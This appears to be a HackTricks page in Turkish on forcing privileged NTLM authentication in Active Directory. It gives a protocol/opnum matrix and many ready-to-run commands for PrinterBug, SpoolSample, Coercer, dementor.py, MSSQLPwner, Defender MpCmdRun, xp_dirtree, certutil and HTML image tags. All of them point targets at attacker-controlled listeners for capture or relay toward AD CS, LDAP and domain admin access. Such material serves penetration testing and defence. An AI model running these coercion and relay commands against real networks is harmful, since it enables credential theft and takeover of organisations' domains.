NTLM Ayrıcalıklı Kimlik Doğrulamayı Zorlama

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

SharpSystemTriggers

SharpSystemTriggers , 3. taraf bağımlılıklardan kaçınmak için MIDL compiler kullanarak C# ile kodlanmış uzak kimlik doğrulama tetikleyicilerinden oluşan bir koleksiyondur.

Spooler Service Abuse

Print Spooler servisi etkinse, zaten bilinen bazı AD credentials kullanarak Domain Controller’ın print server’ından yeni print jobs için bir güncelleme isteyebilir ve yalnızca bildirimi bazı sisteme göndermesini söyleyebilirsiniz.
Printer bildirimi rastgele bir sisteme gönderdiğinde, o sisteme karşı kimlik doğrulaması yapması gerekir. Bu nedenle, bir attacker Print Spooler servisinin rastgele bir sisteme karşı kimlik doğrulaması yapmasını sağlayabilir ve servis bu kimlik doğrulamada computer account kullanır.

Perde arkasında, klasik PrinterBug primitive, \\PIPE\\spoolss üzerinden RpcRemoteFindFirstPrinterChangeNotificationEx istismar eder. Attacker önce bir printer/server handle açar ve ardından pszLocalMachine içinde sahte bir client name sağlar; böylece target spooler, attacker-controlled host’a geri bir notification channel oluşturur. Bu yüzden etki, doğrudan code execution değil outbound authentication coercion’dır.
Spooler’ın kendisinde RCE/LPE arıyorsanız, PrintNightmare bölümüne bakın. Bu sayfa coercion ve relay üzerine odaklanır.

Domain üzerindeki Windows Server’ları bulma

PowerShell kullanarak Windows box listesini alın. Server’lar genellikle önceliklidir, bu yüzden onlara odaklanalım:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Dinleyen Spooler servislerini bulma

Biraz değiştirilmiş @mysmartlogin’in (Vincent Le Toux’nun) SpoolerScanner aracını kullanarak, Spooler Service’in dinleyip dinlemediğini kontrol edin:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Linux üzerinde rpcdump.py de kullanabilir ve MS-RPRN protocolünü arayabilirsiniz:

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Linux’tan NetExec/CrackMapExec ile host’ları hızlıca test edin:

nxc smb targets.txt -u user -p password -M spooler

Eğer sadece spooler endpoint’inin var olup olmadığını kontrol etmek yerine coercion surfaces’i enumerate etmek istiyorsanız, Coercer scan mode kullanın:

coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss

Bu yararlıdır çünkü EPM içinde endpoint’i görmek size yalnızca print RPC interface’in kaydedildiğini söyler. Bu, her coercion method’unun mevcut yetkilerinizle erişilebilir olduğunu veya host’un kullanılabilir bir authentication flow üreteceğini garanti etmez.

Servisten keyfi bir host’a authenticate olmasını isteyin

SpoolSample’i buradan derleyebilirsiniz.

SpoolSample.exe <TARGET> <RESPONDERIP>

ve Linux’taysanız 3xocyte’s dementor.py veya printerbug.py kullanın

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Coercer ile spooler arayüzlerini doğrudan hedefleyebilir ve hangi RPC methodunun exposed olduğunu tahmin etmekten kaçınabilirsiniz:

coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx

WebClient ile SMB yerine HTTP zorlamak

Klasik PrinterBug genellikle \\attacker\share adresine SMB kimlik doğrulaması üretir; bu hâlâ capture, HTTP targets’a relay veya SMB signing olmayan yerlere relay için faydalıdır.
Ancak modern ortamlarda, SMB to SMB relay çoğu zaman SMB signing tarafından engellenir, bu yüzden operatörler sıklıkla bunun yerine HTTP/WebDAV kimlik doğrulamasını zorlamayı tercih eder.

Hedefte WebClient servisi çalışıyorsa, listener Windows’un HTTP üzerinden WebDAV kullanmasını sağlayacak bir biçimde belirtilebilir:

printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN

Bu özellikle ntlmrelayx --adcs veya diğer HTTP relay hedefleriyle zincirleme yaparken faydalıdır, çünkü zorlanmış bağlantıda SMB relayability’ye güvenmeyi ortadan kaldırır. Önemli not: HTTP/WebDAV varyantının çalışması için kurban üzerinde WebClient çalışıyor olmalıdır.

Unconstrained Delegation ile birleştirme

Bir saldırgan zaten Unconstrained Delegation olan bir bilgisayarı ele geçirmişse, saldırgan yazıcının bu bilgisayar üzerinde kimlik doğrulaması yapmasını sağlayabilir. Unconstrained Delegation nedeniyle, yazıcının bilgisayar hesabına ait TGT bu Unconstrained Delegation olan bilgisayarın memory’sinde saklanır. Saldırgan bu host’u zaten ele geçirdiği için, bu ticket’i geri alabilir ve suistimal edebilir (Pass the Ticket).

RPC Force authentication

Coercer

RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)

  • MS-RPRN (Print System Remote Protocol)
  • Pipe: \PIPE\spoolss
  • IF UUID: 12345678-1234-abcd-ef00-0123456789ab
  • Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
  • Tools: PrinterBug / SpoolSample / Coercer
  • MS-PAR (Print System Asynchronous Remote)
  • Pipe: \PIPE\spoolss
  • IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
  • Notes: aynı spooler pipe üzerinde asenkron print interface; belirli bir host üzerinde erişilebilir methodları enumerate etmek için Coercer kullanın
  • MS-EFSR (Encrypting File System Remote Protocol)
  • Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
  • IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
  • Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
  • Tool: PetitPotam
  • MS-DFSNM (DFS Namespace Management)
  • Pipe: \PIPE\netdfs
  • IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
  • Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
  • Tool: DFSCoerce
  • MS-FSRVP (File Server Remote VSS)
  • Pipe: \PIPE\FssagentRpc
  • IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
  • Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
  • Tool: ShadowCoerce
  • MS-EVEN (EventLog Remoting)
  • Pipe: \PIPE\even
  • IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
  • Opnum: 9 ElfrOpenBELW
  • Tool: CheeseOunce

Not: Bu methodlar, UNC path taşıyabilen parametreleri kabul eder (ör. \\attacker\share). İşlendiğinde, Windows bu UNC’ye karşı kimlik doğrular (machine/user context), böylece NetNTLM capture veya relay mümkün olur.
Spooler abuse için, MS-RPRN opnum 65 hâlâ en yaygın ve en iyi belgelenmiş primitive’dir; çünkü protocol specification, server’ın pszLocalMachine ile belirtilen client’a geri bir notification channel oluşturduğunu açıkça söyler.

MS-EVEN: ElfrOpenBELW (opnum 9) coercion

  • Interface: MS-EVEN over \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
  • Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=“\\attacker\share\backup.evt”, MajorVersion=1, MinorVersion=1, LogHandle)
  • Effect: target, verilen backup log path’ini açmaya çalışır ve attacker-controlled UNC’ye kimlik doğrular.
  • Practical use: Tier 0 asset’leri (DC/RODC/Citrix/etc.) NetNTLM üretmeye zorla, ardından AD CS endpoint’lerine (ESC8/ESC11 scenarios) veya diğer privileged service’lere relay et.

PrivExchange

PrivExchange attack, Exchange Server PushSubscription feature içinde bulunan bir flaw sonucudur. Bu feature, mailbox sahibi herhangi bir domain user tarafından Exchange server’ın HTTP üzerinden client tarafından sağlanan herhangi bir host’a authenticate olmaya zorlanmasına izin verir.

Varsayılan olarak, Exchange service SYSTEM olarak çalışır ve aşırı privilege’lar verilir (özellikle, pre-2019 Cumulative Update domain üzerinde WriteDacl privileges’a sahiptir). Bu flaw, LDAP’e information relaying yapılmasını ve ardından domain NTDS database’inin çıkarılmasını sağlamak için exploit edilebilir. LDAP’e relaying mümkün olmadığında bile, bu flaw domain içindeki diğer host’lara relay ve authenticate etmek için kullanılabilir. Bu attack’in başarılı exploitation’ı, herhangi bir authenticated domain user account ile anında Domain Admin access sağlar.

Inside Windows

Zaten Windows machine’in içindeyseniz, Windows’u privileged accounts kullanarak bir server’a bağlanmaya zorlayabilirsiniz:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Ya da şu diğer tekniği kullanın: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

NTLM kimlik doğrulamasını zorlamak için certutil.exe lolbin (Microsoft tarafından imzalanmış binary) kullanmak mümkündür:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Via email

Bir makineye giriş yapan kullanıcının email address’ini biliyorsanız, ona sadece örneğin şöyle bir 1x1 image içeren bir email gönderebilirsiniz:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

ve açtığında, kimlik doğrulaması yapmaya çalışacak.

MitM

Bir bilgisayara MitM saldırısı gerçekleştirebilir ve onun görüntüleyeceği bir sayfaya HTML enjekte edebilirseniz, sayfaya aşağıdakine benzer bir görüntü enjekte etmeyi deneyebilirsiniz:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

NTLM authentication’ı zorlamak ve phishing yapmak için diğer yollar

Places to steal NTLM creds

NTLMv1 cracking

Eğer NTLMv1 challenges’ları capture edebilirseniz, bunları nasıl crack edeceğinizi burada okuyun.
Unutmayın ki NTLMv1’i crack etmek için Responder challenge değerini “1122334455667788” olarak ayarlamanız gerekir

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin